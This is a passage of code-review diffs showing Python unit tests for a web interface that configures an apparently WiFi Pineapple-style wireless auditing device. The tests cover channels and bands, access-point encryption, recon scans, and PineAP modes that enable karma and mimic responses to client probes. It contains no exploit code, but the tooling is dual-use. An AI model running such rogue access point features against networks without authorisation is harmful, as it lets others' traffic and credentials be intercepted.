def test_connect_rejects_short_password(self):
class H:
command = 'POST'
calls = []
run = self.fake_device_run(calls, {})
old = server.device_run
server.device_run = run
try:
status, payload = server.h_settings_wifi_client_connect(
type('C', (), {'h': H(), 'body': {'ssid': 'X', 'encryption': 'wpa2', 'password': 'short'}})())
finally:
server.device_run = old
self.assertEqual(status, 400)
self.assertIn('password', payload['error'])
self.assertEqual(calls, [])
def test_connect_writes_uci_and_reloads(self):
class H:
command = 'POST'
calls = []
run = self.fake_device_run(calls, {})
daemon_calls = []
old_run = server.device_run
old_sock = server.daemon_sock_call
server.device_run = run
server.daemon_sock_call = lambda m, p, body=None, timeout=10: (
daemon_calls.append((m, p, body)) or (200, {'success': True}))
try:
status, payload = server.h_settings_wifi_client_connect(
type('C', (), {'h': H(), 'body': {
'ssid': 'All RPH Guest WIFI', 'encryption': 'wpa2wpa3',
'password': 'Missions1', 'routed': True}})())
finally:
server.device_run = old_run
server.daemon_sock_call = old_sock
self.assertEqual(status, 200)
sets = [args for args, _t in calls if args[:2] == ['uci', 'set']]
expected = {
'wireless.wlan0cli.ssid=All RPH Guest WIFI',
'wireless.wlan0cli.encryption=sae-mixed',
'wireless.wlan0cli.disabled=0',
'wireless.wlan0cli.routed=1',
'wireless.wlan0cli.key=Missions1',
}
got = {args[2] for args in sets}
self.assertTrue(expected <= got)
self.assertIn((['uci', 'commit', 'wireless'], 20), calls)
self.assertIn((['wifi', 'reload'], 45), calls)
self.assertEqual(daemon_calls,
[('PUT', '/api/settings/wifi/set_client_route', {'routed': True})])
def test_connect_open_clears_key(self):
class H:
command = 'POST'
calls = []
run = self.fake_device_run(calls, {})
old_run = server.device_run
old_sock = server.daemon_sock_call
server.device_run = run
server.daemon_sock_call = lambda m, p, body=None, timeout=10: (200, {'success': True})
try:
status, payload = server.h_settings_wifi_client_connect(
type('C', (), {'h': H(), 'body': {'ssid': 'OpenGuest', 'encryption': 'open'}})())
finally:
server.device_run = old_run
server.daemon_sock_call = old_sock
self.assertEqual(status, 200)
self.assertIn((['uci', 'delete', 'wireless.wlan0cli.key'], 20), calls)
self.assertNotIn((['uci', 'set', 'wireless.wlan0cli.key='], 20), calls)
def test_route_toggle_writes_uci_and_syncs_daemon(self):
class H:
command = 'POST'
calls = []
run = self.fake_device_run(calls, {})
daemon_calls = []
old_run = server.device_run
old_sock = server.daemon_sock_call
server.device_run = run
server.daemon_sock_call = lambda m, p, body=None, timeout=10: (
daemon_calls.append((m, p, body)) or (200, {'success': True}))
try:
status, payload = server.h_settings_wifi_client_route(
type('C', (), {'h': H(), 'body': {'routed': True}})())
finally:
server.device_run = old_run
server.daemon_sock_call = old_sock
self.assertEqual(status, 200)
self.assertIn((['uci', 'set', 'wireless.wlan0cli.routed=1'], 20), calls)
self.assertIn((['uci', 'commit', 'wireless'], 20), calls)
self.assertEqual(daemon_calls,
[('PUT', '/api/settings/wifi/set_client_route', {'routed': True})])
def test_disconnect_disables_and_reloads(self):
class H:
command = 'POST'
calls = []
run = self.fake_device_run(calls, {})
old = server.device_run
server.device_run = run
try:
status, payload = server.h_settings_wifi_client_disconnect(
type('C', (), {'h': H(), 'body': {}})())
finally:
server.device_run = old
self.assertEqual(status, 200)
self.assertIn((['uci', 'set', 'wireless.wlan0cli.disabled=1'], 20), calls)
self.assertIn((['uci', 'commit', 'wireless'], 20), calls)
self.assertIn((['wifi', 'reload'], 45), calls)
if __name__ == '__main__': if __name__ == '__main__':
unittest.main() unittest.main()
+367
View File
@@ -0,0 +1,367 @@
import os
import sys
import unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
class ChannelBandTest(unittest.TestCase):
def test_2g_channels(self):
for ch in (1, 6, 11, 14):
self.assertEqual(server.channel_band(ch), server.BAND_2G)
def test_5g_channels(self):
for ch in (36, 48, 100, 149, 165, 177):
self.assertEqual(server.channel_band(ch), server.BAND_5G)
def test_6g_channels(self):
for ch in (181, 189, 197, 205, 213, 225, 233):
self.assertEqual(server.channel_band(ch), server.BAND_6G)
def test_invalid(self):
for ch in (0, 15, 17, 21, 33, 35, 178, 234, None, 'x'):
self.assertIsNone(server.channel_band(ch))
class ChannelBandsConsistencyTest(unittest.TestCase):
def test_lists_match_channel_band(self):
for band, channels in server.CHANNEL_BANDS.items():
for ch in channels:
self.assertEqual(server.channel_band(ch), band, '%s should be %s' % (ch, band))
def test_no_out_of_list_channels(self):
for ch in list(range(0, 235)):
band = server.channel_band(ch)
if band is not None:
self.assertIn(ch, server.CHANNEL_BANDS[band], '%s should be listed for %s' % (ch, band))
def test_boundaries(self):
self.assertEqual(server.CHANNEL_BANDS[server.BAND_2G][-1], 14)
self.assertEqual(server.CHANNEL_BANDS[server.BAND_5G][-1], 177)
self.assertEqual(server.CHANNEL_BANDS[server.BAND_6G][0], 181)
self.assertEqual(server.CHANNEL_BANDS[server.BAND_6G][-1], 233)
class ChannelFreqTest(unittest.TestCase):
def test_freqs(self):
self.assertEqual(server.channel_freq(server.BAND_2G, 1), 2412)
self.assertEqual(server.channel_freq(server.BAND_2G, 11), 2462)
self.assertEqual(server.channel_freq(server.BAND_5G, 36), 5180)
self.assertEqual(server.channel_freq(server.BAND_5G, 165), 5825)
self.assertEqual(server.channel_freq(server.BAND_6G, 1), 5955)
self.assertEqual(server.channel_freq(server.BAND_6G, 233), 7115)
class BandAuxTest(unittest.TestCase):
def test_htmode(self):
self.assertEqual(server.band_htmode(server.BAND_2G), 'HT20')
self.assertEqual(server.band_htmode(server.BAND_5G), 'VHT80')
self.assertEqual(server.band_htmode(server.BAND_6G), 'HE80')
def test_radio(self):
self.assertEqual(server.band_radio(server.BAND_2G), 'radio0')
self.assertEqual(server.band_radio(server.BAND_5G), 'radio1')
self.assertEqual(server.band_radio(server.BAND_6G), 'radio1')
def test_dfs_marker(self):
for ch in (52, 64, 100, 144):
self.assertIn(ch, server.DFS_CHANNELS)
for ch in (36, 48, 149):
self.assertNotIn(ch, server.DFS_CHANNELS)
self.assertEqual(set(server.DFS_CHANNELS),
set(range(52, 65, 4)) | set(range(100, 145, 4)))
def ctx(body=None):
return type('C', (), {'body': body, 'args': (), 'query': {}})()
class GetApRadio1Test(unittest.TestCase):
def _uci(self, section):
table = {
'radio0': {'type': 'wifi-device', 'band': '2g', 'channel': '11',
'htmode': 'HT20', 'country': 'US'},
'radio1': {'type': 'wifi-device', 'band': '5g', 'channel': 'auto',
'htmode': 'VHT80', 'country': 'US'},
'wlan0open': {'device': 'radio0', 'mode': 'ap', 'ssid': 'pager-open',
'disabled': '0', 'hidden': '0', 'encryption': 'none',
'channel': '11'},
'wlan0wpa': {'device': 'radio0', 'mode': 'ap', 'ssid': 'Service',
'disabled': '0', 'hidden': '0', 'encryption': 'psk2',
'channel': '1', 'key': 'testpass123'},
'wlan1open': {'device': 'radio1', 'mode': 'ap', 'ssid': 'CorpGuest',
'disabled': '0', 'hidden': '0', 'encryption': 'none',
'channel': '36'},
'wlan1wpa': {'device': 'radio1', 'mode': 'ap', 'ssid': 'Corp',
'disabled': '0', 'hidden': '0', 'encryption': 'sae',
'channel': '1', 'key': 'secret123'},
}
return dict(table.get(section, {}))
def setUp(self):
server._uci_wifi_iface = lambda name: self._uci(name)
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
404, {'error': 'not found'})
def test_open_reports_radio1_when_present(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['radio1_open']['ssid'], 'CorpGuest')
self.assertEqual(payload['radio1_open']['channel'], 36)
self.assertEqual(payload['radio1_open']['country'], 'US')
# radio0 cards keep reporting radio0 truth
self.assertEqual(payload['open']['ssid'], 'pager-open')
def test_wpa_reports_radio1_when_present(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['radio1_wpa']['ssid'], 'Corp')
self.assertEqual(payload['radio1_wpa']['enctype'], 'sae')
self.assertEqual(payload['radio1_wpa']['channel'], 1)
self.assertEqual(payload['wpa']['ssid'], 'Service')
def test_radio1_info(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['radios']['radio1']['band'], server.BAND_5G)
self.assertEqual(payload['radios']['radio1']['channel'], 'auto')
self.assertEqual(payload['radios']['radio0']['band'], server.BAND_2G)
class GetApRadio1AbsentTest(unittest.TestCase):
"""Regression: no radio1 AP sections -> today's 2.4GHz behavior."""
def _uci(self, section):
table = {
'radio0': {'type': 'wifi-device', 'band': '2g', 'channel': '11',
'htmode': 'HT20', 'country': 'US'},
'radio1': {'type': 'wifi-device', 'band': '5g', 'channel': 'auto',
'htmode': 'VHT80', 'country': 'US'},
'wlan0open': {'device': 'radio0', 'mode': 'ap', 'ssid': 'pager-open',
'disabled': '0', 'hidden': '0', 'encryption': 'none',
'channel': '11'},
'wlan0wpa': {'device': 'radio0', 'mode': 'ap', 'ssid': 'Service',
'disabled': '0', 'hidden': '0', 'encryption': 'psk2',
'channel': '1', 'key': 'testpass123'},
}
return dict(table.get(section, {}))
def setUp(self):
server._uci_wifi_iface = lambda name: self._uci(name)
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
404, {'error': 'not found'})
def test_open_uses_wlan0open(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['open']['ssid'], 'pager-open')
self.assertEqual(payload['open']['channel'], 11)
def test_wpa_uses_wlan0wpa(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['wpa']['ssid'], 'Service')
self.assertEqual(payload['wpa']['channel'], 1)
class SetApRadio1Test(unittest.TestCase):
def setUp(self):
self.uci = {}
self.runs = []
def fake_uci_get(section):
return self.uci.get(section)
def fake_run(args, timeout=20, input_data=None):
self.runs.append((list(args), input_data))
a = list(args)
if a[:2] == ['uci', 'set']:
k, _, v = a[2].partition('=')
self.uci[k] = v
if a[:2] == ['uci', 'get']:
return (0, self.uci.get(a[2], '') + '\n', '')
return (0, '', '')
server._uci_wifi_iface = fake_uci_get
server._uci_section = fake_uci_get
server.device_run = fake_run
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
200, {'success': True})
def test_5g_open_writes_radio1_sections(self):
server.h_pineap_wifi_set_ap(ctx({'open': {
'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
'channel': 36, 'country': 'US'}}))
self.assertEqual(self.uci['wireless.radio1.band'], '5g')
self.assertEqual(self.uci['wireless.radio1.channel'], '36')
self.assertEqual(self.uci['wireless.radio1.htmode'], 'VHT80')
self.assertEqual(self.uci['wireless.wlan1open'], 'wifi-iface')
self.assertEqual(self.uci['wireless.wlan1open.device'], 'radio1')
self.assertEqual(self.uci['wireless.wlan1open.disabled'], '0')
self.assertEqual(self.uci['wireless.wlan1open.ssid'], 'CorpGuest')
self.assertEqual(self.uci['wireless.wlan1open.encryption'], 'none')
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '0')
self.assertIn(['wifi', 'reload'], [r[0] for r in self.runs])
self.assertIn(['/etc/init.d/pineapd', 'reload'], [r[0] for r in self.runs])
def test_6g_wpa_sae(self):
server.h_pineap_wifi_set_ap(ctx({'wpa': {
'ssid': 'Corp', 'passphrase': 'secret123', 'enctype': 'sae',
'hidden': False, 'enabled': True, 'channel': 181}}))
self.assertEqual(self.uci['wireless.radio1.band'], '6g')
self.assertEqual(self.uci['wireless.radio1.htmode'], 'HE80')
self.assertEqual(self.uci['wireless.wlan1wpa.encryption'], 'sae')
def test_6g_rejects_psk2(self):
status, payload = server.h_pineap_wifi_set_ap(ctx({'wpa': {
'ssid': 'Corp', 'passphrase': 'secret123', 'enctype': 'psk2',
'hidden': False, 'enabled': True, 'channel': 181}}))
self.assertEqual(status, 400)
def test_6g_open_rejected(self):
status, payload = server.h_pineap_wifi_set_ap(ctx({'open': {
'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
'channel': 181, 'country': 'US'}}))
self.assertEqual(status, 400)
self.assertIn('6GHz', payload['error'])
def test_6g_disable_removes_radio1(self):
self.uci['pineapd.wlan1mon.hop'] = '0'
self.uci['wlan1wpa'] = {'device': 'radio1'}
status, payload = server.h_pineap_wifi_set_ap(ctx({'wpa': {
'ssid': 'Corp', 'passphrase': 'secret123', 'enctype': 'sae',
'hidden': False, 'enabled': False, 'channel': 181}}))
self.assertEqual(status, 200)
self.assertEqual(self.uci['wireless.radio1.channel'], 'auto')
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '1')
def test_5g_open_rejects_bad_bssid(self):
status, payload = server.h_pineap_wifi_set_ap(ctx({'open': {
'ssid': 'CorpGuest', 'bssid': 'not-a-mac', 'hidden': False,
'enabled': True, 'channel': 36, 'country': 'US'}}))
self.assertEqual(status, 400)
def test_hop_read_failure_still_pauses(self):
def fake_run(args, timeout=20, input_data=None):
self.runs.append((list(args), input_data))
a = list(args)
if a[:2] == ['uci', 'get']:
return (1, '', '')
if a[:2] == ['uci', 'set']:
k, _, v = a[2].partition('=')
self.uci[k] = v
return (0, '', '')
server.device_run = fake_run
server.h_pineap_wifi_set_ap(ctx({'open': {
'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
'channel': 36, 'country': 'US'}}))
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '0')
def test_2g_still_uses_daemon_path(self):
calls = []
def fake_sock(method, path, body=None, timeout=10):
if method == 'GET':
return 200, {'loghandshake': True}
calls.append((method, path, body))
return 200, {'success': True}
server.daemon_sock_call = fake_sock
server.h_pineap_wifi_set_ap(ctx({'open': {
'ssid': 'pager-open', 'hidden': False, 'enabled': True,
'channel': 11, 'country': 'US'}}))
put = [c for c in calls if c[0] == 'PUT']
self.assertEqual(len(put), 1)
self.assertEqual(put[0][1], '/api/settings/wifi/set_ap')
self.assertEqual(put[0][2]['configs'][0]['interface'], 'wlan0open')
def test_2g_removes_existing_radio1(self):
self.uci['pineapd.wlan1mon.hop'] = '0'
self.uci['wlan1open'] = {'device': 'radio1'}
server.h_pineap_wifi_set_ap(ctx({'open': {
'ssid': 'pager-open', 'hidden': False, 'enabled': True,
'channel': 11, 'country': 'US'}}))
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '1')
self.assertEqual(self.uci.get('wireless.radio1.channel'), 'auto')
def test_mixed_24g_and_radio1_rejected(self):
status, payload = server.h_pineap_wifi_set_ap(ctx({
'open': {'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
'channel': 36, 'country': 'US'},
'wpa': {'ssid': 'Office', 'passphrase': 'secret123', 'enctype': 'psk2',
'hidden': False, 'enabled': True, 'channel': 6}}))
self.assertEqual(status, 400)
self.assertIn('2.4GHz', payload['error'])
class GetApRadioChannelFallbackTest(unittest.TestCase):
"""Regression: iface without a channel option inherits the radio channel."""
def _uci(self, section):
table = {
'radio0': {'type': 'wifi-device', 'band': '2g', 'channel': '11',
'htmode': 'HT20', 'country': 'US'},
'radio1': {'type': 'wifi-device', 'band': '5g', 'channel': 'auto',
'htmode': 'VHT80', 'country': 'US'},
'wlan0open': {'device': 'radio0', 'mode': 'ap', 'ssid': 'pager-open',
'disabled': '0', 'hidden': '0', 'encryption': 'none'},
'wlan0wpa': {'device': 'radio0', 'mode': 'ap', 'ssid': 'Service',
'disabled': '0', 'hidden': '0', 'encryption': 'psk2',
'key': 'testpass123'},
}
return dict(table.get(section, {}))
def setUp(self):
server._uci_wifi_iface = lambda name: self._uci(name)
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
404, {'error': 'not found'})
def test_open_falls_back_to_radio_channel(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['open']['channel'], 11)
def test_wpa_falls_back_to_radio_channel(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['wpa']['channel'], 11)
class GetApReconcileTest(unittest.TestCase):
def setUp(self):
server._last_reconcile = 0.0
self.uci = {'wlan1wpa': {'device': 'radio1', 'mode': 'ap', 'ssid': 'Corp',
'disabled': '0', 'encryption': 'sae', 'channel': '36'}}
self.runs = []
server._uci_wifi_iface = lambda name: dict(self.uci.get(name, {}))
server._uci_section = lambda name: {}
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
404, {'error': 'not found'})
server.device_run = lambda args, timeout=20, input_data=None: (
self.runs.append(list(args)) or (0, '', ''))
def test_missing_netdev_triggers_wifi_reload(self):
server.os.path.exists = lambda p: False
server.h_pineap_wifi_get_ap(ctx())
self.assertIn(['wifi', 'reload'], self.runs)
def test_present_netdev_skips_reload(self):
server.os.path.exists = lambda p: True
server.h_pineap_wifi_get_ap(ctx())
self.assertNotIn(['wifi', 'reload'], self.runs)
def test_disabled_section_skips_reload(self):
self.uci['wlan1wpa']['disabled'] = '1'
server.os.path.exists = lambda p: False
server.h_pineap_wifi_get_ap(ctx())
self.assertNotIn(['wifi', 'reload'], self.runs)
if __name__ == '__main__':
unittest.main()
+18 -6
View File
@@ -37,8 +37,7 @@ class PineapModeTest(unittest.TestCase):
status, payload = server.h_pineap_mode_post(ctx({'mode': 'passive'})) status, payload = server.h_pineap_mode_post(ctx({'mode': 'passive'}))
self.assertEqual(status, 200) self.assertEqual(status, 200)
self.assertEqual([c[1] for c in calls], [ self.assertEqual([c[1] for c in calls], [
'hostapd/enable_pineap', 'ssidpool/enable_collect', 'hostapd/enable_pineap', 'ssidpool/enable_collect'])
'ssidpool/disable'])
self.assertEqual(calls[0][2], {'enable': False}) self.assertEqual(calls[0][2], {'enable': False})
self.assertEqual(payload['mode'], 'passive') self.assertEqual(payload['mode'], 'passive')
self.assertTrue(payload['collect']) self.assertTrue(payload['collect'])
@@ -46,7 +45,7 @@ class PineapModeTest(unittest.TestCase):
self.assertFalse(payload['karma']) self.assertFalse(payload['karma'])
self.assertFalse(payload['enabled']) self.assertFalse(payload['enabled'])
def test_active_enables_response_engine_and_pool_broadcasting(self): def test_active_enables_response_engine_but_never_pool_broadcast(self):
calls = [] calls = []
server._daemon_proxy = lambda method, path, body=None, timeout=15: ( server._daemon_proxy = lambda method, path, body=None, timeout=15: (
calls.append((method, path, body)) or (200, {'success': True})) calls.append((method, path, body)) or (200, {'success': True}))
@@ -54,12 +53,24 @@ class PineapModeTest(unittest.TestCase):
self.assertEqual(status, 200) self.assertEqual(status, 200)
self.assertEqual(calls[0], ('PUT', 'hostapd/enable_pineap', {'enable': True})) self.assertEqual(calls[0], ('PUT', 'hostapd/enable_pineap', {'enable': True}))
self.assertNotIn('mimic/disable', [c[1] for c in calls]) self.assertNotIn('mimic/disable', [c[1] for c in calls])
self.assertEqual(calls[-1], ('POST', 'ssidpool/enable', {'enable': True})) # The SSID-pool broadcast segfaults pineapd on this firmware: the
# active preset must never call ssidpool/enable.
self.assertNotIn('ssidpool/enable', [c[1] for c in calls])
self.assertEqual(payload['mode'], 'active') self.assertEqual(payload['mode'], 'active')
self.assertTrue(payload['advertise']) self.assertFalse(payload['advertise'])
self.assertTrue(payload['karma']) self.assertTrue(payload['karma'])
self.assertTrue(payload['enabled']) self.assertTrue(payload['enabled'])
def test_advertise_refuses_when_pool_disabled(self):
server._uci_section = lambda name: {'disable': '1'}
calls = []
server._daemon_proxy = lambda method, path, body=None, timeout=15: (
calls.append((method, path, body)) or (200, {'success': True}))
status, payload = server.h_pineap_advertise(ctx({'enable': True}))
self.assertEqual(status, 400)
self.assertIn('cannot be re-enabled', payload['error'])
self.assertEqual(calls, [])
def test_advanced_preserves_device_settings(self): def test_advanced_preserves_device_settings(self):
calls = [] calls = []
server._daemon_proxy = lambda *args, **kwargs: (calls.append(args) or (200, {})) server._daemon_proxy = lambda *args, **kwargs: (calls.append(args) or (200, {}))
@@ -109,7 +120,8 @@ class PineapModeTest(unittest.TestCase):
server.daemon_sock_call = fake server.daemon_sock_call = fake
status, payload = server.h_pineap_mode_get(ctx()) status, payload = server.h_pineap_mode_get(ctx())
self.assertEqual(status, 200) self.assertEqual(status, 200)
self.assertEqual(payload['mode'], 'advanced') # Device truth wins: engine off means the device IS passive now.
self.assertEqual(payload['mode'], 'passive')
self.assertFalse(payload['enabled']) self.assertFalse(payload['enabled'])
def test_manual_mimic_change_marks_advanced(self): def test_manual_mimic_change_marks_advanced(self):
+13 -5
View File
@@ -112,7 +112,7 @@ class PineapProxyTest(unittest.TestCase):
if sec == 'wireless.wlan0open': if sec == 'wireless.wlan0open':
return 0, "wireless.wlan0open.disabled='1'\nwireless.wlan0open.ssid='pager-open'\nwireless.wlan0open.macaddr='DE:AD:BE:EF:00:01'\nwireless.wlan0open.hidden='1'\n", '' return 0, "wireless.wlan0open.disabled='1'\nwireless.wlan0open.ssid='pager-open'\nwireless.wlan0open.macaddr='DE:AD:BE:EF:00:01'\nwireless.wlan0open.hidden='1'\n", ''
if sec == 'wireless.radio0': if sec == 'wireless.radio0':
return 0, "wireless.radio0.channel='6'\nwireless.radio0.country='US'\n", '' return 0, "wireless.radio0.band='2g'\nwireless.radio0.channel='6'\nwireless.radio0.country='US'\n", ''
if sec.startswith('pineapd.@ssidpool'): if sec.startswith('pineapd.@ssidpool'):
return 0, "pineapd.@ssidpool[0].bssid='auto'\npineapd.@ssidpool[0].target='broadcast'\n", '' return 0, "pineapd.@ssidpool[0].bssid='auto'\npineapd.@ssidpool[0].target='broadcast'\n", ''
return 0, '', '' return 0, '', ''
@@ -128,8 +128,12 @@ class PineapProxyTest(unittest.TestCase):
server.daemon_sock_call = fake_sock server.daemon_sock_call = fake_sock
status, payload = server.h_pineap_wifi_get_ap(ctx()) status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200) self.assertEqual(status, 200)
self.assertEqual(payload['wpa'], {'ssid': 'Evil1', 'passphrase': 'sekret', 'enctype': 'psk2', self.assertEqual(payload['wpa']['ssid'], 'Evil1')
'hidden': False, 'enabled': True}) self.assertEqual(payload['wpa']['passphrase'], 'sekret')
self.assertEqual(payload['wpa']['enctype'], 'psk2')
self.assertEqual(payload['wpa']['hidden'], False)
self.assertEqual(payload['wpa']['enabled'], True)
self.assertEqual(payload['wpa']['channel'], 6)
self.assertEqual(payload['open']['enabled'], False) self.assertEqual(payload['open']['enabled'], False)
self.assertEqual(payload['open']['ssid'], 'pager-open') self.assertEqual(payload['open']['ssid'], 'pager-open')
self.assertEqual(payload['open']['bssid'], 'DE:AD:BE:EF:00:01') self.assertEqual(payload['open']['bssid'], 'DE:AD:BE:EF:00:01')
@@ -137,8 +141,12 @@ class PineapProxyTest(unittest.TestCase):
self.assertEqual(payload['open']['channel'], 6) self.assertEqual(payload['open']['channel'], 6)
self.assertEqual(payload['open']['country'], 'US') self.assertEqual(payload['open']['country'], 'US')
self.assertEqual(payload['open']['target'], 'broadcast') self.assertEqual(payload['open']['target'], 'broadcast')
self.assertEqual(payload['enterprise']['enabled'], True) self.assertEqual(payload['enterprise']['enabled'], False)
self.assertEqual(payload['enterprise']['ssid'], '')
self.assertEqual(payload['pool']['collecting'], True) self.assertEqual(payload['pool']['collecting'], True)
self.assertEqual(payload['radios']['radio0']['band'], '2.4')
self.assertEqual(payload['radios']['radio1']['channel'], 'auto')
self.assertEqual(payload['pineape']['enabled'], True)
def test_wifi_set_ap_open_bssid_channel_and_country(self): def test_wifi_set_ap_open_bssid_channel_and_country(self):
sock_calls = [] sock_calls = []
@@ -150,7 +158,7 @@ class PineapProxyTest(unittest.TestCase):
def fake_run(args): def fake_run(args):
run_calls.append(args) run_calls.append(args)
if args[0] == 'uci' and args[1] == 'show': if args[0] == 'uci' and args[1] == 'show' and args[2] == 'wireless.radio0':
return 0, "wireless.radio0.channel='1'\n", '' return 0, "wireless.radio0.channel='1'\n", ''
return 0, '', '' return 0, '', ''
+633 -23
View File
@@ -76,8 +76,13 @@ class DecodersTest(unittest.TestCase):
self.assertEqual(server.decode_encryption(0x04), 'WPA') self.assertEqual(server.decode_encryption(0x04), 'WPA')
self.assertEqual(server.decode_encryption(0x08), 'WPA2') self.assertEqual(server.decode_encryption(0x08), 'WPA2')
self.assertEqual(server.decode_encryption(0x04 | 0x08), 'WPA2 WPA') self.assertEqual(server.decode_encryption(0x04 | 0x08), 'WPA2 WPA')
self.assertEqual(server.decode_encryption(0x400400108), 'WPA3 WPA2') self.assertEqual(server.decode_encryption(0x400400108), 'WPA3 WPA2 PSK')
self.assertEqual(server.decode_encryption(0x20050004C), 'WPA2 WPA') self.assertEqual(server.decode_encryption(0x400400108 | (1 << 33)), 'WPA3 WPA2 Enterprise')
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 40)), 'WPA3 WPA2 SAE')
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 33) | (1 << 40)), 'WPA3 WPA2 Enterprise')
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 45)), 'WPA3 WPA2 OWE')
self.assertEqual(server.decode_encryption(0x400400110), 'WPA3 PSK')
self.assertEqual(server.decode_encryption(0x20050004C), 'WPA2 WPA Enterprise')
class ReconDataTest(unittest.TestCase): class ReconDataTest(unittest.TestCase):
@@ -111,7 +116,7 @@ class ReconDataTest(unittest.TestCase):
self.assertEqual(a['ssid'], 'Anderson-5') self.assertEqual(a['ssid'], 'Anderson-5')
self.assertEqual(a['channel'], 149) self.assertEqual(a['channel'], 149)
self.assertEqual(a['signal'], -76) self.assertEqual(a['signal'], -76)
self.assertEqual(a['encryption'], 'WPA3 WPA2') self.assertEqual(a['encryption'], 'WPA3 WPA2 PSK')
self.assertFalse(a['hidden']) self.assertFalse(a['hidden'])
hidden = aps['50:6F:9A:01:00:00'] hidden = aps['50:6F:9A:01:00:00']
self.assertTrue(hidden['hidden']) self.assertTrue(hidden['hidden'])
@@ -158,6 +163,10 @@ class FakeSock:
class DaemonSockTest(unittest.TestCase): class DaemonSockTest(unittest.TestCase):
def setUp(self):
# h_recon_start now reads shared scan state; keep these isolated.
server._recon_scan_state = {'active': False, 'started': 0, 'duration': 0}
def test_socket_call_posts_json_to_sock(self): def test_socket_call_posts_json_to_sock(self):
server.DAEMON_SOCK = '/tmp/api.sock' server.DAEMON_SOCK = '/tmp/api.sock'
fake = FakeSock(b'HTTP/1.1 200 OK\r\nContent-Length: 17\r\n\r\n{"success":true}') fake = FakeSock(b'HTTP/1.1 200 OK\r\nContent-Length: 17\r\n\r\n{"success":true}')
@@ -182,9 +191,8 @@ class DaemonSockTest(unittest.TestCase):
calls = [] calls = []
server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p, body)) or (200, {'success': True}) server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p, body)) or (200, {'success': True})
server.h_recon_start(type('C', (), {'args': ()})()) server.h_recon_start(type('C', (), {'args': ()})())
server.h_recon_stop(type('C', (), {'args': ()})()) self.assertEqual(calls, [
self.assertEqual(calls[0], ('POST', '/api/pineap/log/recon/start', {})) ('POST', '/api/pineap/recon/new', {'scan_time': 30})])
self.assertEqual(calls[1], ('POST', '/api/pineap/log/recon/stop', {}))
def test_start_forwards_scan_time(self): def test_start_forwards_scan_time(self):
calls = [] calls = []
@@ -192,19 +200,36 @@ class DaemonSockTest(unittest.TestCase):
ctx = type('C', (), {'args': (), 'body': {'scan_time': 60}})() ctx = type('C', (), {'args': (), 'body': {'scan_time': 60}})()
status, data = server.h_recon_start(ctx) status, data = server.h_recon_start(ctx)
self.assertEqual(status, 200) self.assertEqual(status, 200)
self.assertEqual(calls[0], ('POST', '/api/pineap/log/recon/start', {'scan_time': 60})) self.assertEqual(calls[0], ('POST', '/api/pineap/recon/new', {'scan_time': 60}))
def test_start_defaults_empty_body(self): def test_start_defaults_empty_body(self):
calls = [] calls = []
server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p, body)) or (200, {'success': True}) server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p, body)) or (200, {'success': True})
server.h_recon_start(type('C', (), {'args': ()})()) server.h_recon_start(type('C', (), {'args': ()})())
self.assertEqual(calls[0], ('POST', '/api/pineap/log/recon/start', {})) self.assertEqual(calls[0], ('POST', '/api/pineap/recon/new', {'scan_time': 30}))
def test_start_rejects_invalid_scan_time(self):
calls = []
server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p, body))
ctx = type('C', (), {'args': (), 'body': {'scan_time': 'forever'}})()
status, data = server.h_recon_start(ctx)
self.assertEqual(status, 400)
self.assertIn('scan_time', data['error'])
self.assertEqual(calls, [])
def test_start_reports_native_failure(self):
server._recon_scan_state = {'active': False, 'started': 0, 'duration': 0}
server.daemon_sock_call = lambda m, p, body=None: (500, {'error': 'no radio'})
status, data = server.h_recon_start(
type('C', (), {'args': (), 'body': {'scan_time': 30}})())
self.assertEqual(status, 502)
self.assertEqual(data['error'], 'native recon scan failed')
self.assertEqual(data['detail'], {'error': 'no radio'})
self.assertFalse(server._recon_scan_state['active'])
class ReconScanStateTest(unittest.TestCase): class ReconScanStateTest(unittest.TestCase):
"""The daemon ignores scan_time and scans continuously until 'stop'. The webui """The webui mirrors the duration of the Pager's native timed scan."""
must track the requested duration itself so timed scans actually end and the
toggle can reflect real scan state."""
def setUp(self): def setUp(self):
self.db = make_db() self.db = make_db()
@@ -248,26 +273,33 @@ class ReconScanStateTest(unittest.TestCase):
self.assertFalse(data['scanning']) self.assertFalse(data['scanning'])
self.assertEqual(data['scan_remaining'], 0) self.assertEqual(data['scan_remaining'], 0)
def test_continuous_scan_has_no_remaining(self): def test_zero_duration_is_rejected(self):
server.time.time = lambda: 1000.0 server.time.time = lambda: 1000.0
self._start(scan_time=0) status, data = self._start(scan_time=0)
status, data = self._status() self.assertEqual(status, 400)
